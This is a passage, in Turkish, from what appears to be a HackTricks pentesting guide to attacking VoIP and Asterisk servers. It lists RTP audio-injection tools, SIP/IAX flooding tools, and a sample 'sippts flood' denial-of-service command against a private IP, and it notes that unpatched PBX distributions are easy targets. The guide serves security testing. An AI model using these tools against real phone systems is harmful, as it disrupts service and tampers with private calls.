  • Birkaç klasör, tehlikeye atılan asterisk kullanıcısına ait olacaktır (eğer root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol eder, bu nedenle Asterisk'i başka arka kapılı ikili dosyaları yüklemeye zorlayabilir.

RTP Enjeksiyonu

rtpinsertsound (sudo apt install rtpinsertsound) ve rtpmixsound (sudo apt install rtpmixsound) gibi araçlar kullanılarak konuşmalara .wav eklemek mümkündür.

Ya da http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ adresinden alınan betikler kullanılarak konuşmaları taramak için (rtpscan.pl), bir .wav dosyasını bir konuşmaya göndermek için (rtpsend.pl) ve bir konuşmaya gürültü eklemek için (rtpflood.pl) kullanılabilir.

DoS

VoIP sunucularında DoS elde etmek için birkaç yol vardır.

  • sippts tarafından SIPPTS flood: SIPPTS flood, hedefe sınırsız mesaj gönderir.
  • sippts flood -i 10.10.0.10 -m invite -v
  • sippts tarafından SIPPTS ping: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar.
  • sippts ping -i 10.10.0.10
  • IAXFlooder: Asterisk tarafından kullanılan IAX protokolüne DoS saldırısı yapar.
  • inviteflood: UDP/IP üzerinden SIP/SDP INVITE mesajı sızdırmak için bir araç.
  • rtpflood: Birkaç iyi oluşturulmuş RTP paketi gönderir. Kullanılan RTP bağlantı noktalarını bilmek gerekir (önce izle).
  • SIPp: SIP trafiğini analiz etmeye ve oluşturmaya izin verir, bu nedenle DoS için de kullanılabilir.
  • SIPsak: SIP İsviçre çakısı. SIP saldırıları gerçekleştirmek için de kullanılabilir.
  • Fuzzerlar: protos-sip, voiper.

İşletim Sistemi Güvenlik Açıkları

Asterisk gibi bir yazılımı yüklemenin en kolay yolu, zaten yüklü olan bir işletim sistemi dağıtımını indirmektir, örneğin: FreePBX, Elastix, Trixbox... Bunlarla ilgili sorun, çalıştıktan sonra sistem yöneticilerinin muhtemelen bunları tekrar güncellemeyeceği ve zamanla güvenlik açıklarının keşfedileceği gerçeğidir.

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan ileri seviyeye AWS hackleme becerilerini öğrenin

HackTricks'ı desteklemenin diğer yolları: